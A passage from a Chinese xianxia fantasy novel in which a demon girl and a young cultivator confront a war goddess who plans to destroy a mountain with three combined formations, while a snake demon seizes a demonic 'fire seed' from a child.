阿姮与程净竹几乎同时出手,万木春与银尾法绳齐头并进,此时那白虎终于感觉到了危险,往后退了数步,它那双兽目中金光耀耀,强烈的罡风环绕,逼得万木春与银尾法绳全都滞在半空之中。 积玉飞去崖壁,将小山一把给抓了上来。 白虎攀缘崖壁,迅若闪电,直逼崖顶而来,程净竹结印,袖中道道白符飞出,他手指绕印,白符飞转化为流火坠下,白虎为气流所灼,折身要避,阿姮召回万木春,身化红雾,金电闪烁弥漫,白虎从崖壁落下去,在平坦石地上扬起脑袋,见流火如炽,化为一道光障,挡住它的去路。 霖娘飞身落下去,将蛛女扶起。 蛛女被白虎咬得半个肩膀鲜血淋淋,素白的衣襟都染红了,她勉强抬起眼睛,辨清眼前的霖娘,泛白的唇一扯,血液随着她张口说话的刹那而渗出来:“为何救我?” “你呢?” 霖娘却问:“你又为何要救小山?” 蛛女一笑,唇齿染血:“就因为在你们眼中,我乃是个浑身浊气,十恶不赦的妖,所以我便绝不可能有救人之心,对吗?” 她缓缓抬眸,望向巍巍崖上,那锦衣少年手中结印,仍在竭力抵挡那只金瞳白虎,而那积玉怀抱小山,垂目望她,似有诸般不解。 红雾在旁凝成一个少女的模样,蛛女看向她,说:“你毁了我最钟爱的琵琶,若有它在手,而我未断步足,也不至于如此狼狈了。” 阿姮睨着她:“都成这样了,还想找我讨债吗?” 崖顶,积玉将小山放下来,问道:“你和她来这儿做什么?” “蛛女姐姐是来帮我找小勤的!” 小山说着,连忙将怀里的紫玉葫芦拿了出来:“小勤就在这里面!” 积玉见那紫玉葫芦嵌有五彩宝珠,周身金光耀耀:“这是什么宝物?” 程净竹回头瞥一眼那紫玉葫芦,再看崖底那白虎仍在奋力撕咬光障,他神情隐有变化,说道:“紫玉葫芦,金瞳白虎,此地应当便是惠山元君暂居之所。” 积玉想起惠山元君的神像,他恍然大悟:“紫玉葫芦是元君常挂腰间的酒囊,这金瞳白虎便是元君的坐骑!” “可你的朋友怎么会在元君的……葫芦里?” 积玉看向小山,“难道是元君救了他?” 那蛛女却忽然放声大笑:“好天真的人啊……因为那是神的用物,所以便认定那是神所结的善果!” “你什么意思?” 阿姮盯着她。 蛛女却咳出血来,霖娘连忙抱住她:“阿姮,快,我们先带她上去!” 霖娘结印施术,以流水托起蛛女的身躯,飞身要带她往崖顶去,此时,那金瞳白虎怒吼一声,阿姮回头,只见它咬破光障,飞扑而来。 阿姮翻身一避,落到怪石桥上,回头只见银尾法绳缠住那金瞳白虎,然而此白虎身负神力,力大无穷,纵然被法绳缠绕,也是稍稍停顿,便朝怪石桥上扑去。 程净竹飞身一跃,落去阿姮身边,握着法绳的手腕一转,银鳞寸寸展开,阿姮扬手飞出万木春,焦黑的枝尖势如破竹,直逼金瞳白虎面门。 白虎闪身躲开,却被红云烈焰兜头一绕,顿时怒嚎起来,声声震天。 程净竹抓住阿姮转身掠过飞瀑千流,一道金光屏障骤然显露,迸发的气流将他二人震了出去。 “小师叔!” “阿姮!” 积玉和霖娘的声音同时响起。 阿姮与程净竹坠入瀑布下的深潭之中,顿时激荡起层层水波,正是此时,天边青云滚滚,又有金光道道,三峰山石震荡,霖娘赶紧抓紧蛛女,那崖顶的积玉也紧紧拉住小山。 程净竹抓着阿姮破开水面,落到地上。 阿姮抹了一把脸上的水,望向飞瀑对面那座山峰,方才那金光屏障显现之时,她看见峰上蜿蜒鸟道尽头有一座小亭:“小神仙,那上面的亭子里好像有个人。” 虽只一眼,但帘幕飞拂的刹那,她还是看到里面似乎躺着一个人,看起来是个男人。 程净竹没说话,不同于阿姮的狼狈,他身上滴水未沾,仅有浓密的眼睫上有几点水珠,天边金光飞来,他抬起眼,见那险峭介立的峰顶显出一道身影,凤鬟高髻,绀帔黄衣,臂弯里淡绿的披帛与腰间裙袂的朱红绶带齐齐在风中飘飞,云水之间,她英眉飞扬,双目肃然,一见底下的程净竹,她神情微动,像是惊异:“殿下为何还在山中?” 殿下……? 阿姮转过脸,看向身边的程净竹。 脚下依旧震动不止,程净竹与那峰上的惠山元君相视:“天生异象,阳火失衡,不知元君为何仍要强行起阵?” 金瞳白虎一见惠山元君,便发出兴奋又委屈的叫声,元君下视白虎,见它身上缠着古怪的红云烈焰,烧得白虎毛发都有些发黑,元君神情一凛,挥袖之际,金光落下,白虎身上的红云烈焰顿时熄灭。 紧接着,惠山元君的目光落在程净竹身边的阿姮身上:“此等古怪妖火,看来你乃是个妖身。” 万木春是神仙法宝,所以阿姮最初用它划破结界之时,惠山元君并未察觉到任何妖气,何况她现身之时,阿姮已经收手,惠山元君虽有不解,却也并未察觉阿姮的妖身。 此时有这妖火为证,惠山元君方才发觉这女子乃是个实打实的妖物,她凌厉的眸子将阿姮上下审视一番,随后看向程净竹:“殿下,她身上的天火咒是您种的?难怪我察觉不到……” 说着,惠山元君的目光凝在程净竹拉着阿姮的那只手:“殿下,您为何与一妖物同路?” “元君还没有回答我的问题。” 程净竹说道。 惠山元君闻言,再度与程净竹相视,片刻,她道:“小神之所以强行起阵,是因为殿下您带来的消息,小神在岐山耽搁日久,竟不知人间军中已有妖祸,小神身为七杀星,理应为此事负责,所以,小神必须尽快诛灭岐山妖患。” “你既是来诛妖的,怎么还藏了个男人?” 阿姮笑眼盈盈,毫无畏惧。 惠山元君的神情陡然一变,连这山间的风也因此而变得凛冽,她居高临下,睨着阿姮:“大胆妖孽。” 此时霖娘已带着蛛女落在另一边的崖顶,她连忙跪下来:“弟子霖娘,拜见惠山元君。” 惠山元君此时方才看向她。 霖娘身上那件珍珠云肩,惠山元君显然是认得的,她怔了怔,道:“你水鬼之身身负如此机缘,可是受元真夫人点化?” “确如元君所言,霖娘受元真夫人点化,云游四海,修行济世。” 霖娘垂首,十分恭谨,随后,她看向崖底的阿姮,大着胆子说道:“诚禀元君,阿姮虽为妖身,但并无恶行,若有言辞冒犯,还望元君宽恕。” 惠山元君眉目依旧肃冷:“你既是元真夫人的弟子,便该知道元真夫人是因为天衣妖孽而身化封印,被困赤戎不得而出,如今天衣人卷土重来,无数妖物供他们驱策,作乱人间。” “妖生来便是恶欲化身,淫、私、贪、妒、虐、诈为其六罪,妖类孽海无垠,祸乱人间,而无人性,吾七杀之神,向以诛妖除祟为己任,天下妖孽,皆负六罪,皆当杀当诛。” 霖娘愣住了。 这番话何其熟悉,令人不由想起那清风观主死前所言。 惠山元君轻抬手指,小山怀中的紫玉葫芦瞬间化烟,缕缕飘去,又转瞬挂在元君腰侧,小山大惊失色:“小勤!把小勤还给我!” 惠山元君衣袖飞扬,双手中誻膤團對獨鎵化出一张金弓,流光为箭,直指阿姮,阿姮抬手,万木春飞出,枝尖与箭尖破空一触,强烈的气流四涌,山石坠落,草木摧折。 阿姮被震得胸腔生疼,她险些飞出去,幸而程净竹一直紧紧抓住她的手,此时,万木春悬于半空,金电如织,红云浮动。 惠山元君几乎难以相信自己的眼睛。 “万木春……” 惠山元君缓缓看向阿姮,神情惊异:“九仪娘娘的万木春为何会在你这妖孽手中?” 她再度挽弓对准阿姮。 程净竹立即将阿姮拉到自己身后。 “殿下,您在袒护一个妖孽。” 惠山元君匪夷所思。 “她是妖,却非孽。” 程净竹剔透冰冷的眸子里映着淡淡天光:“元君既然认得九仪的法器,便该收起你的弓。” “九仪娘娘将万木春镇在赤戎,为的便是压制天衣人,阎王上报有一女妖携九仪娘娘法宝万木春,想来便是她了。” 惠山元君看向程净竹身后那少女:“她是从赤戎出来的妖。” 她的语气无比笃定。 “殿下,小神不知她是如何得到九仪娘娘的法宝,单凭她是从赤戎出来的妖,小神也绝不会放过,”惠山元君目光如炬,“殿下,今日,您果真要护着她?” 自惠山元君出现,峰上金光如炽,刺得人眼睛生疼,阿姮站在程净竹的身后,她盯着他的手。 那只手,始终紧紧地握着她。 阿姮迎着金光,缓缓抬眼,他的肩背那样宽阔挺拔,从后领垂下来的背云流苏荡啊荡,阿姮听见他说: “是。” 第68章 第68章 “七杀星,谁准你妄定我的道…… 流瀑淙淙, 水击石响,水气交融,使得风也阴阴冷冽,那峰上一片金芒之中, 惠山元君秀眉拧起:“殿下, 您是天生的神, 拥有吾辈所不能及之力,您的言行重若圭臬,理应慎之又慎。” “我并非什么天生之神。” 程净竹说道:“最先称神的, 是天衣人, 但他们不过是以神人之名行尊卑之序, 后来九仪再造三界, 使人间至真至善,至德至圣者飞升上界, 称以为神, 神这个名义从来都是人定的,这世上从来没有什么天生之神, 我亦知我能力为何, 不必元君特意提醒, 我所说的每一句话, 皆发本心, 绝不后悔。” 惠山元君见底下程净竹非但将那妖孽挡在身后,此时更是展开了手中的银尾法绳,惠山元君的神情变得冷肃非常, 她道:“殿下久别上界,看来早已忘记天规戒律,纵然小神虔心敬重殿下, 却实在不能放过这等盗取神器,招摇入世的祸患,殿下今日执意护她,小神便只好……失敬了。” 话音方落,峰上霞光灿灿,道道垂落,程净竹以法绳相接,融融光华碰撞,银尾法绳展开的鳞片震动出尖啸之音。 袖中白符飞出数道,程净竹并指画出道道金芒,白符齐齐燃作流火,汇聚成一道光障,那光障飞快落到阿姮身上,阿姮抬起头,只见峰上霞光更重,令她几乎看不清惠山元君的真容,此时罡风四起,剧烈吹拂,而她身前的少年修士却岿然不动,若一仞山峰横于前,险峭介立。 惠山元君拂袖,金霞更盛,瀑流轰然,强烈的气流迎面逼来,程净竹维持着结印的动作,任风拂袖,瀑流倾身,也不曾挪动一步,峰上惠山元君说道:“殿下,您的神魂拘在如此一副平庸的躯壳里还能够修成金身,可见您十足颖慧,但这已是您的极限了,凡人躯壳绝无法抵抗神力。” 说着,惠山元君轻轻抬掌,顿时威压更甚,底下金霞万丈,山石,流水,无不因此而产生剧烈的震动,程净竹猛然吐出一口鲜血,阿姮顿时要上前却被他攥紧手拦住,此时,金霞再降,程净竹挽起法绳结出光障,此时,崖上积玉飞身掠下,召出金剑:“小师叔,我来助你!” 金剑分化数个分身,散出道道剑影与金霞相抗,阿姮仍被程净竹挡在身后,她脸上一丝笑意也无,万木春随她意动,与道道金霞所迸发而来的无形气流相抵,霖娘在崖上,看到那峰顶的惠山元君眉宇毫无波动,手却轻轻往下一按,顿时威压更重,底下积玉率先经受不住,数道剑影重重破碎,紧接着,程净竹法绳挽起的光障发出阵阵冰裂之声,霖娘立即飞身下去落到阿姮身边,她方才凝水为道道冰箭,箭还未发,便被拂来的剧烈气流倾刻震碎,霞光中,惠山元君的声音落来:“无知小辈。” 峰上霞光更盛,威压层层下压,强风四起,山中草木婆娑,尘土飞扬,银尾法绳聚起的光障骤然碎裂,积玉与霖娘被冲击而来的气流震了出去,积玉摔到地上,口吐鲜血,再看程净竹,他手指结出定风咒,仍然未退半步。 阿姮身上的光障发出碎裂的声音,她抬头,程净竹衣摆猎猎,结印的手背上青筋分缕鼓起,指尖几乎泛白。 光障轰然碎裂,万木春不敌七杀星这份锐利的杀意,骤然坠地,阿姮顿受反噬,身躯被震出去,却在后背即将要撞上那嶙峋崖壁的刹那,银亮的法绳飞来,及时缠住了她的腰身。 风雾很大,什么花草叶片满空乱飞,阿姮被迷了眼,她勉强睁着眼睛,看到那片浑浊的风雾里,小神仙仍然站在那里,手挽那根雪亮的法绳,银尾蛇鳞寸寸展开,割伤了他的手掌,鲜红的血液汩汩流淌,阿姮在糟糕杂乱的味道之中,仍旧敏锐地嗅到那芳香的血气,她的本能使她口干舌燥,她看到他手掌里的血淌去他手腕,又滴落他的襟怀。 惠山元君降下的威压自有无穷的肃杀之意,但那份尖锐的凛寒却并没有尽全力伤害他,可阿姮却是真真切切地感受到那份来自于神的杀意。 她在赤戎时,也曾在万木春刺向她的枝尖下感受到这份神降威压的恐怖之力。 和那次一样, 这回,她在这种力量之下,依旧渺小得可怕。 “小神仙,松开我。” 阿姮说道。 风雾中,程净竹挽起法绳,不顾展开的鳞片割伤他的手掌,仍旧死死地抓住她,阵阵霞光倾落,霖娘与积玉全都动弹不得,小山在崖上声声地唤他们,程净竹以一掌相抵,霞光几乎快要拧断他的指节,山摇地动,飞瀑怒涛倾注如雨,阿姮亲眼看到他指节寸寸扭曲,却仍不退让半分,她眼瞳暗红:“松开!我不要你管我!” 霞光变换无穷,看似轻飘飘流动而来,落在程净竹身上却重若千钧,他对上阿姮的目光,却纹丝未动,此时,峰上惠山元君又动了动手指,他立即抬眸看去,浑浊的风雾与霞光交织,峰上的结界却无光影闪动,程净竹胸中气血翻涌,忽然又吐出血来。 程净竹神志一恍,数道霞光擦身而过,直逼银尾法绳尽头的阿姮,阿姮抬手握住万木春,握住法绳借力往前一跃,化身红雾携万木春迎向霞光,枝尖刺破霞光的刹那,尖锐凌厉的气流如千万刀锋袭来。 此时,银尾法绳破开霞光,缠住万木春,连带裹覆其上的红雾一齐拽去,霞光扑了空,降在山壁之上,引得碎石滚落,烟尘激荡。 万木春落到程净竹的手中,缕缕红雾凝出阿姮的身影,她站在他的面前,脸上添了几道细长的裂口,闪烁着银色的痕迹。 “惠山元君,你不是要诛我杀我么?怎么却忽然忘了本?” 空中,青色的云气涌动,云中,一道女声轻缓。 惠山元君骤听此声,她立即抬首望去,天边那片青色的云气流转,似蛇似龙,惠山元君眉宇之间一片肃杀:“碧瑛!” 烟云如簇,惠山元君的身形刹那凝于云端,霞光钻破青云,那散碎的云气很快化成一道水碧身影,赫然便是蛇妖碧瑛。 碧瑛手挽拂尘,云髻乌浓,衣袂在风中翻飞,惠山元君挽弓射出流火箭,她一挥拂尘,跃身一避,流火如炽,擦身而过,气流滚烫至极。 惠山元君连发数箭,碧瑛连避几箭,却还是躲闪不及,被流矢连擦几道,那流火一触她身便燃烧不止,碧瑛拂尘一挥,止住身上的火光,尘尾飞扬如丝,直逼惠山元君真身,惠山元君弹指施术,击中尘尾。 碧瑛穿云过雾,连接惠山元君数招,空中惊雷阵阵,整个岐山轰然作响,惠山元君挽弓再射流火,流火耀目,照见一片山色。 碧瑛被流火箭穿透肩胛,一片血雾弥漫,底下崖顶,蛛女失声:“碧瑛!” 碧瑛落于一峰上,她瞥了一眼自己身上的那处伤,血洞里还有流火在燃烧,燃烧着她的血肉,这种疼痛,她不是第一回尝了。 “神的威压果然厉害至极,我拖了这么久,想尽办法,也仍然难敌你这位七杀星的金弓流火。” 碧瑛徐徐说道。 惠山元君原本在流火箭矢擦破碧瑛皮肉的时候便有所感,而到此刻,她的流火箭真正穿透碧瑛的肩胛骨,惠山元君方才真正确认了一件事。 “你身上为何尽是浊气!” 惠山元君脸色巨变。 山间风雾太重,阿姮仰头,她根本看不清碧瑛此时的神情,却听她忽然一笑:“元君啊元君,你看起来失望极了。” 碧瑛的平静更衬惠山元君的失态,她似乎有千万质问要脱口而出,那张脸上哪还有半分神的从容,但她的目光触及底下的程净竹,又忽然一滞。 程净竹以指节抹去唇边的血迹,抬眸与她相视。 惠山元君顿时有一种被洞穿的感觉。 “看他做什么?” 碧瑛下视,见那锦衣少年形容狼狈:“元君能从一介凡女飞升成神,还是七杀战神,早该过了天真的年纪才对,你难道真以为这小仙长是那么好骗的?” 惠山元君神情好似阴云密布。 “殿下,您早该听小神的话,离开岐山。” 她说道。 “神降威压,远不止于此。” 程净竹凝视着她:“而你身为七杀战神,威压只会更胜诸神,若说你对我留有余地,尚能说得过去,但对她,你也分明也未尽全力。” 神降之力,威力无穷,何况惠山元君是上界战神,若她神力全盛,他们绝不可能支撑到此时。 “你在此地设下禁制,却只设于峰上,而忽略山穴,穴中只以金瞳白虎镇守,”程净竹话锋愈利,“方才你以威压降下杀招之际,峰上禁制却化于无形,可见你出招并无余力,连自己设下的禁制都无法保全……惠山元君,七杀星的神力绝不该只是如此。” 惠山元君高高在上,任由风雾拂动她衣摆。 此时,小山与蛛女同时听见了些动静,他们回过头,发觉是那些趁结界破损之际进入岐山的僧道攀援至此崖顶,众道士怀中的本命师刀皆震动鸣叫,僧人们的法器也尖啸声声,一年轻道士最先发现不远处的蛛女,他立即举剑,却见一个小孩儿张开双臂,飞快挡在那蛛女面前。 “小孩儿!” 那年轻道士喝道:“她是蜘蛛精,你快过来!” “蜘蛛精怎么了?蜘蛛精也比你们这些臭道士强!”小山瞪着他,“你们最会骗人,最讨厌了!” 年轻道士没明白自己怎么就骗人,还讨人厌了,正要强行将那小孩拉过来,却被那无晦子伸手一挡。 “谁准你们进来的?” 惠山元君立于峰上,冷声道。 一众僧道连忙俯身拜见元君,那三真道人仰起头,见青云浊浊,蛇妖赫然立于云端,他立即恭谨地对元君道:“方才结界有异,我等担心此蛇妖逃出生天,所以便打定主意前来山中略尽绵薄之力!” 惠山元君垂眸:“多事。” 僧道们听得元君此言,顿时你看我我看你,无不战战兢兢,担心起自己是否坏了元君的打算,那三真道人忙说道:“若元君并不需要,那,我等这便离去……” 三真道人的话还没说完,却听那蛛女忽然笑起来,那笑声娇细:“你们走不了了。” 此话一出,众僧道齐齐色变,不约而同望向云端那蛇妖。 “都看我做什么?” 碧瑛肩胛处的血洞里,流火仍然灼烧着,她却气定神闲,下视众人,微微一笑:“的确是我请你们进来的,可不让你们出去的,却是你们的好元君。” 阿姮在底下注视着碧瑛,此前碧瑛在翠竹林中与她相斗,是为了借万木春之力划破结界,但此时阿姮方才意识到,碧瑛划破结界根本不是为了逃跑,而是故意引这些人入山。 可她为什么要这么做? 崖顶,无晦子低头,只见碎石震动,草木摇摇,土石滚落之声不绝于耳,淡淡的金印仿佛从地下层层浮出,他神色一动:“紫府归一阵。” 而三真道人却注视着天上闪动的金芒,那似乎是行炁不一的两道阵法:“除了诛妖伏鬼大阵之外,怎么还多了一道……” 三真道人却看不出那是什么阵法。 但众僧道却都听闻过紫府归一之阵,此阵乃是上界阵法,人间虽有记载,但可惜人力有穷,虽知此阵有平岳填海之力,却无法凭凡胎□□修成。 可天上除诛妖伏鬼大阵之外,那另一道阵法又是什么? 一众僧道疑惑极了。 “以紫府归一阵将整个岐山夷为平地,诛妖伏鬼大阵屠尽山中精怪,”程净竹望着诛妖伏鬼大阵之上流转的云霞,那灿灿霞光之中,金雷闪烁,浓烈的云气几乎包裹住整个岐山,“玄枢寂元之阵则使岐山完全与世隔绝,三阵合一,可使岐山悄无声息生机尽绝,寸土难留……惠山元君,你下界来此是为诛妖除恶,若以三阵毁山绝灵,必伤天和,你难道还敢欺瞒天道?” “殿下,小神此举,只为苍生。” 惠山元君望着他,神情光明无晦。 “苍生?” 阿姮站在程净竹身边,细眉微挑,放眼望去,满目烟翠:“若我没有记错的话,你所说的苍生,应指世上一切生灵,而世生万物,万物皆有灵,也就是说,这座山有灵,这里的一草一木,一石一泽,皆有其生机所在,你为苍生而毁此山,那么此山之中一切生灵便不是你的苍生了么?” “无知妖孽。” 惠山元君眉目一凛,抬手挽弓,程净竹先将阿姮挡到身后,霖娘奔了过来,就站到阿姮身前,望向那玉峰之上:“元君!弟子亦有不解!若说岐山有恶妖为祸,诛杀恶妖便是,何必带累一整座山!难道此山之中所有生灵皆为恶,皆有罪,皆该杀?” “元君,他们问你,你为何不答?” 碧瑛的衣摆在云气中飘飞,她眉目清淡,唇边已无一丝笑意。 “如今谁不知道,岐山首恶便是你这三千年的蛇妖!你座下一山万妖,得你之势,欲恶嗜杀,以至于岐山下方圆百里之内人烟尽绝!这一路,我们不知路过多少村庄,累累白骨,皆是你岐山欠下的命债!如此恶欲丛生之地,元君便是用了紫府归一阵将此山夷为平地又如何?” 一老道剑指半空中的碧瑛,横眉冷喝。 引得多位僧道连连附和。 “对!诛妖除恶,何妨踏平一座山呢?” “元君所为,是神之道,亦是我等信奉之道!你等妖邪,便是此山的恶根恶源,理当诛尽!” 蛛女与他们同在一崖之上,将他们的每一句话都听得真切,她惨白的面容上流露出嘲讽的神情:“如今三阵合一,你们已然没了出路,却还个个如此正义凛然,怎么?是都宁愿为了你们的元君而献身奉道么?可你们这些蠢物岂会明白,岐山之下所谓累累命债,却根本不是我们所为!” “你这妖孽,死到临头还要狡辩?” 老道厉声道。 僧道们哪里肯信。 “我就知道我说的话,你们这些人类是绝不肯信的……”蛛女已经是苟延残喘,她满肩血红,纤细的脖颈一侧皮肉都被金瞳白虎的利齿给咬烂了,她眨动眼睫,听着瀑流淙淙,环视周山黑沉,一片死气,“岐山从前不是这样的,晴朗的时候,日光灿灿,山中每一片草叶都青碧发亮,落雨的时候,满山水雾,风中全是花草的香气,冬天大雪纷纷,上下一白,水也成冰……山间多少鸟兽虫鱼,寒来暑往,浩浩汤汤……可他们都死了,在你们的元君降临岐山的第二日,那道诛妖伏鬼大阵,就已经将他们全都杀干杀净了,这座山上的泥土再也孕育不出活的花木,早已是一座死山了。” 死山? 众僧道望向四周,山色苍翠,色浓尽黑,树木花草蓊郁,水泽飞流,无论如何看起来也并不像是一座死山。 “一派胡言!” 一僧人说道:“你满身浊气,还说岐山之下的诸般恶行不是你们所为,如今又以死山之说混淆视听,你说元君来此第二日山中精怪便已死绝,若真如此,元君又怎会在此耽搁至今?” “和尚你这么说,岂不是抬举我?” 半空中,青色的云气托着碧瑛的身躯,她下视崖顶,那帮僧道密密麻麻,看起来足有千人之数,她的目光落在那僧人身上,幽幽道:“九仪再造三界不过才六千年,而我修行三千年,活得够久,也的确在道法上有所成,算一算,我突破一千年修行大关之际,你们的这位惠山元君才是一个刚刚出生的人间女婴,她在人间长大,观疾苦,发宏愿,扮男装入朝为官之时,我在山中修行,她在历经所谓国难之时,我还在山中修行,她以女子之身,守关护民,杀身成仁之时,我仍在修行,若照此理,我如此勤修不缀,三千年的道行对上她这个两千年的神,的确该是一个难缠的对手,可惜,纵我勤苦,穷尽岁月,妄达清气之极,亦难突破自身之限,更无法成为这位七杀战神的对手。” “事到如今,你还要藏拙不成?若不是你这蛇妖狡猾难缠,元君何必在此大费周章?”那僧人说道。 其他僧道也议论纷纷。 无晦子却凝视着碧瑛身上的血洞,那里面烈焰灼烧,血肉模糊,且不论事到如今此蛇妖到底有没有必要藏拙,若她真是个难缠的对手,又为何连惠山元君的钻心流火都扑不灭?至此还在生生受其灼烧血肉之苦。 可纵然有一些地方是想不通,但僧道们如何会放着一位神仙不信,转而去信一个妖孽呢?一道士冷哼道:“你说你三千年勤修清气,可你的清气在哪儿呢?我等分明只见你身上浊气滔天!” 碧瑛脸上浮出淡淡笑意,望向玉峰之上那位惠山元君,徐徐说道:“化清为浊么,我正好精通行炁道法,对我来说也不算什么难事,何况只要一想到元君今日的样子,我心中便十分的快慰,元君想要什么,我便粉碎什么,所谓竹篮打水一场空,说的便是元君你了……” 她说得轻巧,但阿姮却本能地觉得,整整三千年以清气为本的根基要一朝化浊,便等同于一个人类一点一点地碾碎自己的血肉,骨髓,且不说那过程到底有多残忍痛苦,更何况此等做法等同于虐杀自己,还不一定真能得那一线生机化清为浊。 只有疯子才会这么做。 此时积玉忽然说道:“我记得,人以清气作为修行根基,心中莹洁,且无杂念,勤修苦练,或许会有机缘可修得至精至纯之清气,化丹,延寿,虽成仙之要诀并不在乎道法高低,而在瞬息的顿悟之间,但能化出清元金丹之人通常都已悟其大道,正如我药王殿祖师,他修成清元金丹之际,也是他悟道成仙之时,人若如此,那么妖呢?若此妖三千年道行,修得精纯清气,得化清元妖丹……” “不可能!你这药王殿的小子提起你家师祖来是想给他脸上抹黑吗?凡是人类修道,修成清元金丹者,皆为至德,至善,至勇至义至圣之人,皆成其大道位列仙班,我老道活了六十来年,还从未听说过妖孽能结此丹的说法!” 一老道肃声大喝。 “人类可以,妖就一定不行吗?” 阿姮抬眸,盯住那个在崖上跳脚的老道。 其实积玉也不是很确定,自九仪娘娘再造三界,世间生出妖类以来,上界诛神皆为凡人飞升而成,他们不一定是修行之人,许多神仙作为凡人的时候其实也许连清气浊气是什么都不知道,他们之所以成为神仙,是因为他们的善,他们的德,他们对事对人的勇气,坚守一生的义气,九仪娘娘化于世间的清气选择了他们,渡他们成神成仙。 而潜心修行的人,并不会因为道法高深而被选择,但能够修成清元金丹的人,必定心中莹洁,也必然飞升成仙。 但积玉却从未听说过有妖可以修得此丹。 阿姮这样问,积玉却不知如何答,他连一个“也许”也说不出来。 “你们人类修得,我们妖又为何不能!你们口口声声成神之人必为至善至圣之辈,可你们的这位元君降临岐山,却是为夺碧瑛的清元妖丹而来!” 蛛女说道。 “惠山元君身为神仙,自有神丹护体,且不说妖根本不可能修得清元丹,即便可以,元君也绝不会夺一颗妖丹!” 一众僧道只觉得荒谬,神仙自有神丹,即便碧瑛身负三千年道行又如何?她的妖丹对于一个神仙分明一点用都没有。 此时,程净竹忽然抛出银尾法绳,法绳穿风过雾,直逼玉峰,峰上惠山元君侧身一避,法绳上珠饰碰撞,金光拂落她腰间紫玉葫芦上的玉塞。 一只小虫从里面飞快爬到了葫芦口,那小虫生得像蝉,双翅却比蝉要更加莹澈,一闪一闪,碎光柔和,虫鸣声声,像在喊谁。 小山趴在山崖上,听懂那虫鸣,他圆圆的眼睛顿时红了:“小勤,小勤……” 那小虫激动应和,扇动翅膀,惠山元君轻抬双指,小虫顿时落入葫芦之中,玉塞合上,不复虫声。 “小勤!” 小山喊道。 “冬螓,即为蝉之异种,此异种有别于蝉,一生四季,春生冬死,”程净竹握住飞回的法绳,凝视着惠山元君,“此虫世间罕有,生来携霜带露,乃世间至纯至净之物,这只冬螓更不一样,它修行不缀,勤苦非常,更加生机勃勃,所以有归炁化一,补源通窍之奇效。” “整个清风观奔走于世,只为寻来这样一只独一无二的冬螓。” 程净竹语气冷冽:“惠山元君,你到底想做什么?一只冬螓还不够,还要一颗三千年的清元妖丹。” 众目睽睽,惠山元君臂上披帛翻飞,她垂眉,对上底下那少年修士的质问的目光,云雾漫漫,她说道:“殿下,小神是有罪过,却罪不在此,妖本异化而生,多为恶欲化身,小神飞升成神至今诛妖无数,所见恶果累累,小神不敢忘记自己的责任,亦不敢辜负人间众生,您今日见小神不对妖容情,便觉得是小神之过,可若不镇之杀之,妖若成势,必危及人间,您这一路行来,难道没有看到吗?天衣人卷土重来,仅仅只是予他们一些好处,他们便趋之若鹜,为恶为祸……他们比人类寿命长,拥有人类所不能拥有的天生妖力,却总是一遍遍往红尘里钻,身负六罪,以非人之力伤人害人,妖,是绝不可以被善待的。” 惠山元君扬手张弓,流火成箭,对准空中碧瑛,此时崖上蛛女抬指,金黄蛛丝缠裹一物掠入天际,碧瑛身影顿时化入青色的云气之中模糊难寻,云气吞噬蛛丝中的一物,碧瑛再度现身,阿姮看见一浊黑的东西飞快钻入碧瑛肩胛处的血洞里。 “天衣火种。” 阿姮断定。 程净竹自然也看到了那东西,浑浊的黑气涌入碧瑛身上的血洞,缕缕黑气顺着她的颈项蜿蜒,碧瑛的神情看起来十分的痛苦,一双眼睛化出竖瞳,微微垂眉,瞥见自己肩胛处的血洞里流火尽灭,她痛极了,却笑:“之前那只冬螓逃出来时我便知道他身上有样东西不寻常,我虽好奇,却怎么也取不出来,后来他又落到了元君手里,我还以为他早死了,没想到元君你还留着他……是因为他身上的这东西,所以元君不敢下嘴?” 惠山元君身在霭霭风雾中,风姿修美,凛风吹动她鬓边两缕垂发,她一副眉目锋芒无限:“你划破结界不是为了逃,你是故意放这些人进来,故意说那番话引我去救人,好让这蛛女潜入山穴,盗取此物……你怎么会知道……” “岐山,是我的岐山。” 碧瑛一副蛇目泛着阴冷的波光:“山中一草一木,一石一泽皆与我同气连枝,你自诩为神,也料想不到山中之事,我皆可闻!” 惠山元君扬弓射出流火,碧瑛却刹那化为青黑的烟气,很快逼近玉峰之上,惠山元君抬掌相迎,拨开青黑气流中缕缕暴涨的尘尾。 青黑的浊烟后退,落至崖上,化出碧瑛的身形,众僧道正在崖上,一见碧瑛,顿时各掏法器冲了上去,碧瑛抬手,尘尾一荡,浊烟滚滚,将众僧道震开去。 三真道人勉强站定,心中一骇,到底是三千年道行的蛇妖,如今又不知她吞了个什么东西,这化出的招式竟更加阴戾。 三真道人总觉得她身上那股与她本源缠缠绕绕的黑气实在有些眼熟。 “碧瑛……” 蛛女眼中浮出希冀的神光。 碧瑛与她相视一眼,许多话已在不言之中,她再看守在蛛女身边的小山,只听他唤了声“婶婶”,碧瑛拂尘一扬,小山顿时腾空而起。 “小山!” 积玉在崖底望见这一幕,不由大惊:“碧瑛!你做什么!” 黑气将小山整个笼罩,小山瞪大双眼,望着碧瑛那双竖瞳,他耳边又出现了那些缠了他很久的声音。 “江崟,你娘是愧疚而死的,那么你呢?你要找到他,也是因为愧疚吗?” “愧疚这种东西不好吃……你要不要恨呢?恨那些道士,恨你娘……” “你恨他们吧,是他们害你千里迢迢,受尽苦楚,你也恨小勤吧,是他让你因为愧疚而不得不走这么远的路……” “你为什么不恨!” 好多的声音,怒吼着质问他:“你为什么不恨!” “是娘的错,是我的错……” 小山眼中积起泪花,好似喃喃,“我对不起小勤,我要找到小勤,道士可恨,娘不可恨,小勤也不可恨……他们很好,都很好……” 阿姮眉心一皱,正要掠去崖上,却见笼罩小山的黑气忽然散去,一团残缺的东西从他心口钻了出来,猛然灌入碧瑛体内。 小山落下去,蛛女起身将他接住。 “他身上……有火种?” 阿姮惊愕极了。 “他身上只有一半,再加上碧瑛方才得到的那一半,才是一颗完整的火种,”程净竹没有再动用过阵法探知火种的下落,他只知岐山有火种,却不知到底在谁身上,如今却是显而易见了,“我猜,此火种原本在那只冬螓身上,因为小山有他的触角,所以那一半有可能是通过他的触角进入了小山的身体。” “火种……不是以恶欲为食吗?怎么会落在小勤身上?” 阿姮迷茫地望着崖上的小山。 她想起来他之前说他的耳朵有些毛病,想来便是火种化出的那些引诱他作恶生欲的声音一直在他耳边吵闹。 这便是碧瑛掳走小山的真正原因。 碧瑛精通行炁的道法,所以她敏锐地察觉到小山身上有不寻常的气息,那正好是她好奇的东西,所以她才会对小山说要给他治病。 “如今看来,能够吸引火种的并不一定是恶欲。” 